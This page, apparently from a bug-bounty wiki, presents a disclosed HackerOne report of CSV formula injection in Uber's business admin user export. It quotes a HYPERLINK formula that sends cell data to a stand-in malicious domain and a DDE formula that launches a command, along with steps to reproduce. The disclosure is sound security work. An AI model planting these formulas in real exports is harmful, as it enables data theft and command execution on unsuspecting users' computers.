Skip to content
RCE Disclosed report Intermediate

CSV Injection in business.uber.com

The business.uber.com admin interface allowed usernames to begin with an equals sign, so when an admin downloaded a CSV of users, spreadsheet software would interpret those names as formulas. A malicious admin could set a username to a formula that exfiltrates data or executes commands on another admin's computer when the CSV is opened.

ddworken Follow

Originally disclosed on HackerOne

Bounty$1,000 View original
  • Triaged in 3 days
  • Fixed in 5 days
  • Paid in 12 days
  • Disclosed after 12 days

Summary by the researcher

business.uber.com allows administrators to download CSVs containing a list of the users associated with their business. It is possible to inject formulas into the CSVs by starting names with =.

The report

business.uber.com allows for names to begin with an = which allows for injection of formulas into the downloaded CSVs. I wasn't quite sure what to categorize this as since there are two main problems with allowing injection of formulas into a CSV:

  1. It allows for data exfiltration through HYPERLINKs
  2. It allows for code execution on the user's machine provided that they trust Uber

1 can be done by setting one's username to something of the form: "=HYPERLINK("https://maliciousDomain.com/evil.html?data="&A1, "Click to view additional information")". This will create a cell that will show the text "Click to view additional information" but when clicked will send the data in A1 to maliciousDomain.com.

2 can be done by setting one's username to something of the form: =cmd|' /C calc'!A0 (this will open Windows calculator). If a CSV contains a command like the above, excel will warn the user with two different pop up boxes. The problem is that these boxes ask the user whether they "trust the source of" the file. Since most users will trust Uber as a source, they will click through this without worry.

While it is true that one needs to be an admin on the business page in order to change the username, this still qualifies as a vulnerability (and not simply a self-CSV-injection) since there can be multiple admins. This allows for one admin to get code execution on another admin's computer through the download CSV function.

One final note, the function to download a CSV of all trips is also likely vulnerable to this but I have not tested it since I have not had a chance to take an Uber on my business account.

Thanks, David Dworken

The original report as published on HackerOne, by ddworken. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The application did not sanitise or escape user-supplied names that begin with formula-triggering characters before including them in a CSV export.

Impact

A malicious admin could exfiltrate data from another admin's spreadsheet or execute commands on their machine, though Excel warns the user before running commands.

What the attacker needed

Admin access to a business account; victim downloads and opens the CSV

How it was found

  1. Log in as an admin on the business page.
  2. Change a username to start with an equals sign followed by a formula.
  3. Download the CSV of users from the admin interface.
  4. Open the CSV in a spreadsheet program, which executes the formula.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you open a CSV file in a spreadsheet program like Excel, any cell that starts with an equals sign is treated as a formula and executed. Here, the website let users put an equals sign at the start of their name, so a malicious admin could craft a name that becomes a harmful formula in the downloaded file. When another admin opens that file, the formula runs on their computer.

What is RCE?

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.

More by ddworken

View all

18 more disclosed reports, best first.

More from Uber

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.